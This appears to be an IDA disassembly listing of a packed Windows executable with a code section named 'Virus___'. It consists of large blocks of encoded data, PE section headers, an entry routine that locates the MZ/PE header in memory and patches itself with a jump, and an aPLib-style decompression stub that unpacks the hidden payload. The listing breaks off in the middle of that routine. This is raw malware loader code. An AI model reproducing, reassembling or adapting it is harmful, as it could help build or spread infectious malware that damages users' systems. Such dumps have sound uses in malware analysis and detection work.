		dd 0A472FD1Dh, 4D4AF370h, 0BEF2280Eh, 2BCAE903h, 5EDD032Bh
		dd 7EBBCF1Eh, 111ED9B3h, 405AD3DAh, 0FA356D0Eh,	0D074B951h
		dd 0BB774907h, 0C8FB3ABAh, 78232A8Dh, 6487521Dh, 0BF5163C0h
		dd 584C1049h, 263E116Eh, 4C9D1B4Dh, 7A40A558h, 75C9C506h
		dd 0D112F908h, 9BFDC90Ah, 9A9131B7h, 0C287A6BFh, 173FABD6h
		dd 8E8730FCh, 446273DBh, 47364510h, 0D26EC98Fh,	0B2A8CD0Ah
		dd 0A2FF2425h, 6C439165h, 747B22CEh, 0EF9D30F5h, 0A87B8125h
		dd 0B4DA173h, 6F8E0CA5h, 0DF821E48h, 1398217Fh,	218B602h
		dd 70B8C89Dh, 0AAF7161Dh, 934C3D8Fh, 42F05B0Bh,	989FC649h
		dd 0FC3B4830h, 0F73A20BAh, 8331891h, 40746AC3h,	0D8E45450h
		dd 79306E4Bh, 74461183h, 0D902ED31h, 0FCDC60F9h, 543B17B8h
		dd 65853210h, 4FCC59B3h, 0AA28F143h, 189E634Fh,	6532C9DFh
		dd 2079011h, 0E720E0Bh,	0B1AE94F7h, 0D91E8B5Ah,	499B69EDh
		dd 5691894Fh, 3ACBCC86h, 919DE45Fh, 0D985BA4Ah,	69D724B3h
		dd 63FEBCE3h, 0DE17F212h, 6A88620h, 0EAA2EF0Fh,	43D0E520h
		dd 0F0F6D1ADh, 1F274303h, 0C6939BC1h, 0A52B7EF3h, 2633BD31h
		dd 2BBE6EB9h, 2BCE6929h, 2BDE6919h, 5E420309h, 9CBBF571h
		dd 4E1EE6B3h, 922B227Ah, 0AEB65890h, 0A28C3501h, 1C88F1CEh
		dd 0A2A9CDCDh, 0E798007Bh, 0A43D3E61h, 0CE3B7B5h, 41337A15h
		dd 2CE7F544h, 0BA3D0EA2h, 0E7B3265Eh, 473AF401h, 7E99A5EDh
		dd 53843007h, 745AA6CDh, 5A0AE7Ah, 0D879EF88h, 0BF5A65F1h
		dd 340A9313h, 0F11D3B62h, 47B0F374h, 0F5EB5D9h,	311EC875h
		dd 3389D785h, 0B6D0CA55h, 0C35EC602h, 1C97CD7Bh, 21502CEh
		dd 1561B6A9h, 909CB1CBh, 482FBC34h, 0F8A07045h,	9FDFC0F2h
		dd 64135396h, 0DC2D44EBh, 4D309D4h, 44AB0599h, 0C7777770h
		dd 1EA59994h, 0E82E9E6Fh, 8EFEAAAh, 11E9357h, 0EC9D3D5Fh
		dd 0BC5FF129h, 1EAC1783h, 6794A144h, 0F6FCA4Bh,	2FA9AABh
		dd 54F38A32h, 3A465FD5h, 8390CCBDh, 0F9BBBD08h,	791E8979h
		dd 79459F04h, 0CCABDFA6h, 4BFDF0Fh, 948B0255h, 50DA03C2h
		dd 1031DC6Dh, 6C36B7E1h, 0EBDCB0DFh, 1B0C7263h,	8592AE73h
		dd 52D96C10h, 7E9AF97Dh, 8CF88D3h, 9D52F1F3h, 4EB17804h
		dd 3629C413h, 5F58C04Bh, 0E7137ACEh, 2BFD0738h,	3ECB8D63h
		dd 49D0E333h, 0CF56B17Dh, 2AB854DAh, 95039998h,	1180925Ah
		dd 0C38BC27Dh, 7B17F143h, 2E4B6786h, 7E74DB5Dh,	4752B0C6h
		dd 88658D7Ch, 0EFCF3D4Bh, 0E81D698Ch, 0B26B065h, 369ADB15h
		dd 1BFC6DF4h, 0BF5EDEFBh, 3A24F2DEh, 6B9ADC03h,	0ACD67390h
		dd 0D00596E6h, 422B77D7h, 6E8A862h, 6FD2CCE3h, 0BE4D618Bh
		dd 6F020C05h, 63F7C4D3h, 0EB8946D6h, 8FB64563h,	0D3DA0B59h
		dd 3D0316E3h, 709A503Bh, 4D5830CCh, 0C43FCC0Bh,	686664A8h
		dd 0C9153B0Bh, 0F71A337Eh, 0F9EEE053h, 74DAB81Ch, 14511FF3h
		dd 0DE90FE30h, 70AF9647h, 0BF16C94Ch, 0B1DBF829h, 5EE68E92h
		dd 22511F9Ch, 39679651h, 0E87E962Bh, 84C64386h,	4F681D51h
		dd 614999F3h, 0A7EC7E71h, 106461E8h, 3FCE45A2h,	635AD04Fh
		dd 0DE36494Dh, 0C81AB873h, 0B37A644Dh, 0A68A89FAh, 0E7AB53F6h
		dd 6E8A2BA0h, 0B9BDF5h,	0B2D96A62h, 8486C778h, 6E4D5317h
		dd 54D1122Eh, 8E8E8321h, 0E9F3ACDBh, 0C3BAC5D3h, 82BCE0D7h
		dd 0EF5D5B65h, 0ED69F0D0h, 5113572Bh, 0EF2EF251h, 503CEF53h
		dd 0D34E2A10h, 1FF71456h, 3732F9B3h, 0FA694E79h, 6D23D580h
		dd 0F379A150h, 0D127F25Bh, 9DF64187h, 0A3CC7373h, 0B4D8D0BDh
		dd 22A4206Fh, 0CC85B20Eh, 0C2E03561h, 75CE559Bh, 420E5A10h
		dd 0EE295618h, 35B311F4h, 2B22FEDCh, 6AD78D41h,	0B4AE05A1h
		dd 0F854834Eh, 671040Bh, 12CEAEB9h, 71077775h, 0C6D9F2C8h
		dd 7BF760FDh, 0AF13172Dh, 3F96577h, 0CFE675C9h,	6C1C0A5Fh
		dd 0D680F57Bh, 5D2D9010h, 2CCA651Bh, 42180A06h,	0F7D6FECBh
		dd 8D90848Bh, 6D2EA734h, 2FB7F8B1h, 5E6F5E6Bh, 0C54BEBB1h
		dd 0FDDF3865h, 0AAD31A71h, 68F8B017h, 729B242Bh, 0FC19BBA6h
		dd 5CE516B7h, 0FC095604h, 0EAC371DDh, 0E42EB04Bh, 0BED19D64h
		dd 3E32D35Dh, 3FB88213h, 97F99571h, 447067C7h, 60235DD6h
		dd 7D50A9CEh, 510CEC1Ah, 5695FB95h, 61D8E3E0h, 122DD0Eh
		dd 675C9A70h, 0F659E07Bh, 0CA001FD9h, 6FBBAFD3h, 37630D72h
		dd 4E3085B4h, 84E43983h, 71323BE3h, 0D3080E63h,	0E4F10556h
		dd 37A5BA49h, 3D15FE8Ch, 0E986BCADh, 5E1A3E04h,	7D7FB8A1h
		dd 1F707FD9h, 62C8421Ah, 8485866Bh, 2BCE51F5h, 4CEF70FEh
		dd 0C86BB32Bh, 70E64312h, 0CE0BAF64h, 0AB481B3Ah, 14817DC0h
		dd 8C4D7AFBh, 869AE844h, 0DB1F404h, 47799D4Bh, 52B21E62h
		dd 5AAB577Bh, 914E9603h, 0FA919D09h, 0F16383CEh, 0D933335Fh
		dd 2F594329h, 0C1ACA15h, 0E364B6CFh, 0B3A9462Bh, 1A3F9777h
		dd 49DFD802h, 43148E44h, 0CCC4C578h, 7A1BEA94h,	0C5A6B759h
		dd 0FC74C895h, 3AFD0220h, 405F7A0Bh, 0C4D1F141h, 3D6D7998h
		dd 231CC96Ch, 2F6CF1FCh, 5EC78C0Fh, 0C0589A70h,	85E82203h
		dd 0AA1A38C4h, 8245B3C5h, 0BF85860Bh, 0AC56F2A0h, 67BE9BEFh
		dd 6F9B0E98h, 975D1718h, 5012337Ah, 94B36BEFh, 5F6BC37Bh
		dd 0C121B45Bh, 74F17F03h, 97F0A414h, 668F84AAh,	9A24EEAh
		dd 86CE9E84h, 0EEFE5552h, 7F8E7496h, 2E30D3E6h,	0F1158C5Dh
		dd 0D81C6964h, 0F302257Ah, 9515F740h, 4EC4725Ch, 24293C1h
		dd 75E8761Bh, 0BBAE17BCh, 60ABF050h, 781CCFBCh,	469E9935h
		dd 0BAB117ABh, 5628E3AAh, 4FCA9027h, 0A5519748h, 0BBAF9226h
		dd 98D7CC59h, 89B1FFD2h, 147FD658h, 4AB54943h, 0DABE29D1h
		dd 7E9695FDh, 32FA82BCh, 1A20B534h, 23E2D161h, 0BE11337Dh
		dd 2B26E95Dh, 0BA4100B5h, 86FE6EADh, 0AD72A889h, 628D0DE1h
		dd 0BCA6B0D9h, 3C2ED35h, 0C371014h, 6CD71D50h, 30545EEh
		dd 2837DC5Ah, 7FE41201h, 0AA23AA2Ch, 0C139D331h, 0A72367BBh
		dd 4B5C37Ch, 236328Eh, 6036C84Ch, 67F90B72h, 6AED3C2Ah
		dd 58E0B751h, 6F05D1Dh,	0C3F50D6Fh, 4C11D220h, 0EB3350Bh
		dd 5BE13D30h, 5CF1F423h, 6E2F69F1h, 0DD620B9h, 34E0DF02h
		dd 0D7734641h, 0A81DE5C4h, 7003C289h, 0A2DD9360h, 0E1D921h
		dd 7217CE73h, 5D03497h,	0B4315318h, 8432CA2Bh, 7D071A3h
		dd 0F44C09CAh, 11D262A2h, 34AE8B63h, 14371844h,	0BB1C1DDFh
		dd 874A9D4Ch, 0EEFDD33h, 878EFFB7h, 2EAE53DDh, 3DC8DE3h
		dd 0A02931Eh, 1E80B314h, 93B8749h, 42D208FCh, 96C8F12Ch
		dd 0D7D29917h, 86E98487h, 538DDEBh, 0B9D8769h, 56275B09h
		dd 2A90DE40h, 0D7274DA6h, 3777E527h, 543B08D3h,	7E92D2A8h
		dd 498A75B8h, 0D91B1994h
		dd 4395F211h, 0DA761BA4h, 0AE42A86Bh, 497FB536h, 4A3B345Ch
		dd 0B10EF1E0h, 0C4F4F4C3h, 7F0F94CCh, 0B21B565Bh, 7C8CFEBAh
		dd 989E113Eh, 69FB5964h, 0D72FAC8h, 4BCC1D4Bh, 0AF27E25Bh
		dd 0CC0E33CAh, 0E48933ADh, 0CE1BA592h, 4C92B1BDh, 0BE9D28D9h
		dd 54FEE3C1h, 4A212F09h, 5E3366A8h, 0BCF75B64h,	6B58F77Ch
		dd 234D05F3h, 64B2F2A9h, 0DDE263CEh, 0D934C6F6h, 86D9FF68h
		dd 79E1435Bh, 0B1E0F46Bh, 2EA6F8A8h, 7359E957h,	0B61F7EE0h
		dd 0C3C55F3Ch, 0D40271D4h, 55B2E672h, 6E756232h, 54F70DC8h
		dd 19777321h, 1A1819B1h, 5E07D2C3h, 5B80CA12h, 22FFDF01h
		dd 8FF1842Fh, 0F43233FCh, 13BB64D2h, 298672FFh,	0F641C31Ch
		dd 55173236h, 31FE705Dh, 0F3F87AFAh, 6DE33364h,	41620977h
		dd 0C0D06515h, 0E2EAB40Bh, 0EFD26841h, 7CED881h, 0AAE42BE6h
		dd 96FEBF86h, 0EA3EFEEEh, 53FF9B7Dh, 0A5C8C856h, 4D1E9D6Dh
		dd 9244E140h, 8FE3D9Ch,	502EE1B0h, 7F6F2405h, 0BF2C3C52h
		dd 3C423F02h, 0BEFBD941h, 21DB8BB5h, 0FEB14C6Fh, 2DBEB50Fh
		dd 0C0047CDh, 8EE28D6h,	82A8BE13h, 0F3B7CDDh, 68A8BE17h
		dd 2D02E4B2h, 4EB130D9h, 621CE997h, 0A3D4646Ah,	0F46DF29Dh
		dd 0E06F5300h, 0C5DEECF2h, 5385B631h, 569BDB3Dh, 80C4BEF3h
		dd 27994360h, 111D3D88h, 0EDBC0A2h, 4238D256h, 0AB03F270h
		dd 0A4F526F2h, 0EB6B3304h, 1E20876h, 0B3E2496Dh, 4917232Eh
		dd 690746D4h, 74C8610Dh, 1462691Bh, 0BEDAC051h,	0BA2C3651h
		dd 0E2DBEDDh, 2A89542Ch, 4BE135B5h, 0AB3B6604h,	0FA6536A1h
		dd 7CDA1A19h, 0EECE2DF9h, 25DADC1Fh, 0BA2FC95Dh, 0FDAE58Dh
		dd 0A29C67F4h, 62D903BCh, 30CAD669h, 8659D72Ch,	6EE41DD8h
		dd 3CC6E6B1h, 2B6CC4D8h, 0BF95E91Dh, 0BC21125Dh, 0A9F422EDh
		dd 0DB5DC09h, 0BA00FFF1h, 0BA30C341h, 0CF12AC22h, 91B64073h
		dd 2DF13562h, 4BFF45A9h, 0F0D576B9h, 6ACC6D27h,	0B4EE3146h
		dd 0FA0798A1h, 1D75FE67h, 7CB0CD71h, 9CD32B5h, 0DEBDC0C1h
		dd 4FD2C831h, 491A3101h, 3DE0D549h, 2CF9AD7h, 0E9F51F55h
		dd 2E1FF8Dh, 0AB5BED89h, 0A27C10CEh, 0AEF7067Bh, 0CFDCB729h
		dd 0A2CFA869h, 98A0655Dh, 906D572h, 55E5FB19h, 1D40E887h
		dd 7A8DB2C8h, 0D25D825h, 20C4C980h, 391CD67Fh, 6FF2F905h
		dd 63424134h, 67CE1D6Fh, 48CB1C7Dh, 5C562543h, 0AF7EE4B4h
		dd 0C06A14ABh, 0EDCA734Ch, 0FEE5468h, 0E84CCCC6h, 0C197006Eh
		dd 4728CC53h, 0CB14B64Ch, 0F00E2BFh, 1A587054h,	62E9BC32h
		dd 0F7EBE4Eh, 6227E00Ch, 0F8B44916h, 4D7A6C1Eh,	6767E25Ah
		dd 0E4BABC4Eh, 42E74A5Ch, 6E8235E9h, 0A439D41Ch, 0A8CED170h
		dd 938AF99Bh, 0C240F416h, 7D1F992Ch, 0E7B3EC26h, 0F032EB7Fh
		dd 51289Bh, 0F28E3651h,	46B5B67Fh, 5B95E4A1h, 0B70E33AEh
		dd 0A4559EEFh, 530AFA87h, 0FCA55F79h, 4733A015h, 0EC81D110h
		dd 0BA7FA416h, 6DDE946Ch, 74E5486Dh, 0C1666613h, 0F2ADA640h
		dd 0C3E7FDEh, 94703BA8h, 5E173DF2h, 0E017FBDAh,	0D3E9DE13h
		dd 1E148D47h, 9EF24835h, 3360862Fh, 6A97CC71h, 92F052BEh
		dd 92FD9C79h, 0D246617Dh, 81C45CE3h, 78F0FC15h,	13FB1D79h
		dd 14A2C3F9h, 360EAA8Fh, 733602B4h, 4918AE91h, 160EFE5Ch
		dd 5939203Eh, 5ACE294Eh, 0CEBAD2CDh, 6DCEB1F8h,	59292DFAh
		dd 81E60E4Ah, 9F438265h, 92036753h, 0AA32ABE5h,	5E6F5104h
		dd 0F03D2D74h, 9B9C264Dh, 8B0B511Eh, 6FEE21BBh,	0B6D30C70h
		dd 0AA434154h, 0B33E5F43h, 792520A1h, 91D01A3h,	620A96F5h
		dd 1F6A3142h, 3C2071BAh, 5C40BF24h, 5A3425A4h, 7E40A35Ch
		dd 577217A3h, 0AEAE013Ch, 66CF8E0Eh, 0CA3AA1DDh, 434ABE3Eh
		dd 9C3E2886h, 0B6412EA1h, 7A4022C1h, 0BBB0D823h, 0F99F15CDh
		dd 3B2029C1h, 39C223C0h, 5A322585h, 4AC2E227h, 3D83C0DDh
		dd 721C4C8Bh, 0B344A0C4h, 6C3A8F65h, 5C5911D0h,	0E98CED37h
		dd 535E836Ch, 575E1A4Bh, 74E8029Dh, 60A3B6A0h, 0A33FF1BBh
		dd 1E47B6Ch, 4DDC6E5h, 9C171321h, 0FB6479F2h, 181222ACh
		dd 2236DD73h, 9E40BD4Fh, 7E3D22FBh, 2B2AEEA1h, 5E3600A0h
		dd 0A1BA29BFh, 0A2212AB3h, 0A40A2813h, 21380579h, 0EA093F31h
		dd 723409BDh, 0E2313131h, 9E30B2B4h, 0BB2039F5h, 0E2351C31h
		dd 0C014D64h, 6C0EB875h, 0C0F03979h, 7AEDF3BDh,	2EC6F85Ch
		dd 8783919h, 9C104B4Ah,	0BF292815h, 0A096D313h,	76C511CCh
		dd 0A29CA0D1h, 0BD22A372h, 62BEBD22h, 43B3B0FDh, 2F32875Ch
		dd 3F78B1C4h, 0C9DCD15h, 0E8A298EEh, 296C0179h,	0A63C3941h
		dd 473A01E5h, 0ECE7EDB8h, 0AEE0A977h, 7BBAC2BCh, 0ABB2042Dh
		dd 0BA2B0305h, 0B5FE5431h, 0B923690Dh, 0AD33F1CCh, 0BB1EEEB3h
		dd 0A8B3E17Dh, 0EC21943h, 72328855h, 5D0909C7h,	4D350150h
		dd 0AB2339D5h, 0AC2EED47h, 0BA33313Ch, 0BCE63541h, 22382D61h
		dd 0AFC3AEA9h, 0B61E52B3h, 0B3B3557Dh, 0ABFE4D43h, 0AC2AA889h
		dd 622F0DF1h, 0BC2DB0F9h, 0DA20EDE1h, 0D633023Ch, 0D2FD0D41h
		dd 1A7FDFD7h, 104D2943h, 6855B754h, 388A1BB5h, 0DD3AA1FBh
		dd 9FBDE2B5h, 4A2EC0A4h, 5CF773A4h, 0F7742D7Ah,	96BDC531h
		dd 3C3E6B5Ah, 0A585089Dh, 0B327B860h, 21AF3AA1h, 0A221B434h
		dd 2A50B735h, 0E2B2E247h, 0A9B0D834h, 9E5EB244h, 23384989h
		dd 0F81F3D39h, 0AE4E954Bh, 4D00AADDh, 0AB20A5A9h, 9DF2EDBCh
		dd 0AAFF155Dh, 72B1D9ABh, 4BB876BCh, 676095CDh,	2DC2D985h
		dd 0BEFD071Dh, 23226E25h, 245D31D5h, 2D92D939h,	0ABBD38C5h
		dd 2BFD3E2Dh, 5EDD032Ch, 96BBF92Bh, 55D5CEB4h, 62282121h
		dd 685BA044h, 0AA9D900Ch, 76259DA8h, 558BD2B5h,	4AE7A5ECh
		dd 6926C2ECh, 2055A15Ah, 0A3110F31h, 9643BCF4h,	2E0E1505h
		dd 0A3026F4Dh, 0A38822A9h, 5EFBA04Fh, 5E0AD54Dh, 1ABAA645h
		dd 0A6AEBA15h, 6A0A5095h, 1EEEF25Ah, 5EF50AAFh,	0EE265D65h
		dd 0AE26E2A6h, 0DA71E2B5h, 0AA017187h, 0B8233535h, 0FBEB1A61h
		dd 7E966FE3h, 628E28CEh, 4551B0F1h, 4ADE7DB4h, 7FAF4BCh
		dd 54331DC2h, 0D5CD6D8Dh, 0CE2319E1h, 0E7507261h, 49F236BCh
		dd 30F628FDh, 0A29A0B19h, 720523C5h, 0A69E2CFDh, 753A58BDh
		dd 0A53685FCh, 0A981F6BDh, 5D510D0Dh, 30C2A1B3h, 9E3B3FCDh
		dd 0B3846545h, 0E3842D05h, 4EB73BB5h, 0E7578024h, 0ED8055F7h
		dd 0BA42F729h, 0A8F8795h, 0B997895Ah, 9ADB84E0h, 4047C4F5h
		dd 283C3B80h, 1E583876h, 0F1ACD0E5h, 0A8002030h, 0C91BB5A0h
		dd 0DA4B51C7h, 87FE86A2h, 33B43324h, 0F3519823h, 0A09C7C69h
		dd 0B9FB26F6h, 0A4ADB2Dh, 27626CA5h, 627BA19Ch,	0C2B021EBh
		dd 5BF6564h, 53420E70h,	0FAD25E38h, 0F852E329h,	94672137h
		dd 19595AC8h, 5D42F0DBh, 0FDCC4FC4h, 9A1B53F9h,	40C3AD56h
		dd 0B1350961h, 0C94A8B48h, 0DF7F4262h, 0C25941ABh, 92501BF1h
		dd 14F84025h, 7FFF7630h, 2C7D6AA5h, 3A948CB7h, 3E60364Ch
		dd 0B1A5347Fh, 20C3DDB9h, 0E342DF9Fh, 5CEAF47Dh, 9BB18E81h
		dd 0D20E1A6Ch, 91F154D3h, 57E74CF5h, 26486C12h,	74B084B6h
		dd 8A9CE1A6h, 9A8501C4h, 51B68C71h, 26477004h, 0F242FB13h
		dd 93BBC440h, 9B98CE8Ah, 42515930h, 8F7A83E6h, 842A188h
		dd 31A96879h, 0A540AB45h, 407EC173h, 0E7015509h, 9B3EE3F9h
		dd 0B055BA5h, 3E6C2B68h, 923FD175h, 7E42FBADh, 27F5466Ah
		dd 5830D7CEh, 0DD425C22h, 0B3DE15F2h, 0B135F983h, 1B5370EEh
		dd 1E2036F5h, 0A929D37Eh
dword_41E000	dd 889D6CD9h, 0D09CE125h, 0C941D51Ch, 200D65A0h, 5711419Ah
		dd 140321E9h, 0D9AE7C80h, 0DD4A4E8Fh, 0E8422414h, 1133AD04h
		dd 935E8AF9h, 75F92156h, 0D97EF484h, 8004BC31h,	9BB0E5FCh
		dd 5ECE1A72h, 354D3DF8h, 9B6459D6h, 53AE9B1Eh, 0CB249460h
		dd 0BF4A762Eh, 0FD7F03B6h, 4B0941E9h, 93C8AA04h, 9AEBFCF5h
		dd 6D93A7E4h, 79883329h, 88427EADh, 0D83CB456h,	512FAC33h
		dd 0FBFAEDAAh, 0E60B48C0h, 19254B5Eh, 17450BDDh, 0D75E80D9h
		dd 60C92101h, 58EF44F5h, 0A042DA02h, 11F102F9h,	53B32622h
		dd 94C2E424h, 7DCB386Bh, 4B42E240h, 0BB0695E5h,	0A80A703Ch
		dd 0D2ADEE23h, 566D25A5h, 7242A989h, 82923BBDh,	169CAF82h
		dd 1F7F26A2h, 0D03DE360h, 5142DCCCh, 4D0B178Ah,	13730514h
		dd 88132142h, 53E8B17Ch, 0D841AEDFh, 0C068FEE5h, 0CFA06123h
		dd 3632153h, 6C9C30D3h,	7342EDC6h, 0BF1931EEh, 9B174D7Ch
		dd 6DF41D6Fh, 86D977D7h, 9E42F836h, 0DD6461C1h,	9B5A5A28h
		dd 81A707FFh, 2BEDFB3Dh, 6A841AA5h, 682D0322h, 7CDE077Ah
		dd 0C9B421A8h, 0ABC7B2BFh, 3A64C5E5h, 9C7A73F7h, 0F29C45A1h
		dd 52B7F6BBh, 591461F9h, 65DFFF64h, 756E882Dh, 0FD0270C5h
		dd 0D12A85E3h, 7D15D78Bh, 9DC67006h, 7ECED265h,	0BA9DE415h
		dd 0B782C5D8h, 89DF0506h, 0BBE38928h, 0F7C8E1FDh, 5B0CEC33h
		dd 919FED38h, 19E56E04h, 36082F8Fh, 8F438005h, 0BA5026AEh
		dd 99C5C7A4h, 924E2044h, 9B2553A6h, 0BC45A606h,	9A4D5DA4h
		dd 79420693h, 9B232626h, 8D455E90h, 70642048h, 0BC420EE2h
		dd 0F6FEBABDh, 4D40E144h, 192EB13Ch, 1B4B58A4h,	30B8Eh dup(0)
___		ends

; Section 2. (virtual address 000E1000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000E1000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4E1000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 000E2000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000E2000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4E2000h
		dd 7C801A24h, 7C81CDDAh, 0
aE		db 'Ïe',9,']',0
		align 10h
		dd 0E2050h, 0E2000h, 3 dup(0)
		dd 0E2079h, 0E200Ch, 5 dup(0)
aKernel32_dll	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E3000)
; Virtual size			: 000D5000 ( 872448.)
; Section size in file		: 000D5000 ( 872448.)
; Offset to raw	data for section: 000E3000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
Virus___	segment	para public 'CODE' use32
		assume cs:Virus___
		;org 4E3000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 56C6917Bh, 4F2D2h, 550BBh, 0A8172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 004E3265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053B16A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0053E76B SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0053E9E1 SIZE 00000048 BYTES
; FUNCTION CHUNK AT 0053EA2E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0053EA45 SIZE 0000009E BYTES
; FUNCTION CHUNK AT 0053EB19 SIZE 00000023 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_4E3086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_4E3041
		popa
		jmp	short loc_4E3076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		db 30h,	4Eh, 0
		dt 9.2233720368547758075e18
; ---------------------------------------------------------------------------


loc_4E3041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_4E304E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_4E306D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_4E3074


loc_4E306D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_4E304E
; ---------------------------------------------------------------------------


loc_4E3074:				; CODE XREF: start+57j
		mov	edi, eax


loc_4E3076:				; CODE XREF: start+1Bj
		jmp	loc_4E3265
; ---------------------------------------------------------------------------
		add	eax, edi
		mov	ecx, 0E326Ah
		add	ecx, edi
		jmp	short loc_4E3090
; ---------------------------------------------------------------------------


loc_4E3086:				; CODE XREF: start+8j
		mov	eax, offset loc_53B16A
		mov	ecx, offset word_4E326A


loc_4E3090:				; CODE XREF: start+70j
		push	eax
		push	ecx
		call	sub_4E311B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_4E3265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
		dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
		dd 1848C86h, 662A4924h,	1799B7DEh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_4E311B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_4E3127:				; CODE XREF: sub_4E311B:loc_4E313Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_4E3132:				; CODE XREF: sub_4E311B+7Aj
					; sub_4E311B+C3j ...
		add	dl, dl
		jnz	short loc_4E313B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E313B:				; CODE XREF: sub_4E311B+19j
		jnb	short loc_4E3127
		add	dl, dl
		jnz	short loc_4E3146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E3146:				; CODE XREF: sub_4E311B+24j
		jnb	short loc_4E3197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_4E3153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E3153:				; CODE XREF: sub_4E311B+31j
		jnb	loc_4E3238
		add	dl, dl
		jnz	short loc_4E3162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E3162:				; CODE XREF: sub_4E311B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E316D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E316D:				; CODE XREF: sub_4E311B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E3178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E3178:				; CODE XREF: sub_4E311B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E3183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E3183:				; CODE XREF: sub_4E311B+61j
		adc	eax, eax
		jz	short loc_4E318D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_4E318D:				; CODE XREF: sub_4E311B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_4E3132
; ---------------------------------------------------------------------------


loc_4E3197:				; CODE XREF: sub_4E311B:loc_4E3146j
		mov	eax, 1


loc_4E319C:				; CODE XREF: sub_4E311B:loc_4E31B0j
		add	dl, dl
		jnz	short loc_4E31A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E31A5:				; CODE XREF: sub_4E311B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_4E31B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E31B0:				; CODE XREF: sub_4E311B+8Ej
		jb	short loc_4E319C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_4E31E3
		mov	ecx, 1


loc_4E31C0:				; CODE XREF: sub_4E311B:loc_4E31D4j
		add	dl, dl
		jnz	short loc_4E31C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E31C9:				; CODE XREF: sub_4E311B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E31D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E31D4:				; CODE XREF: sub_4E311B+B2j
		jb	short loc_4E31C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_4E3132
; ---------------------------------------------------------------------------


loc_4E31E3:				; CODE XREF: sub_4E311B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_4E31F1:				; CODE XREF: sub_4E311B:loc_4E3205j
		add	dl, dl
		jnz	short loc_4E31FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_4E31FA:				; CODE XREF: sub_4E311B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_4E3205
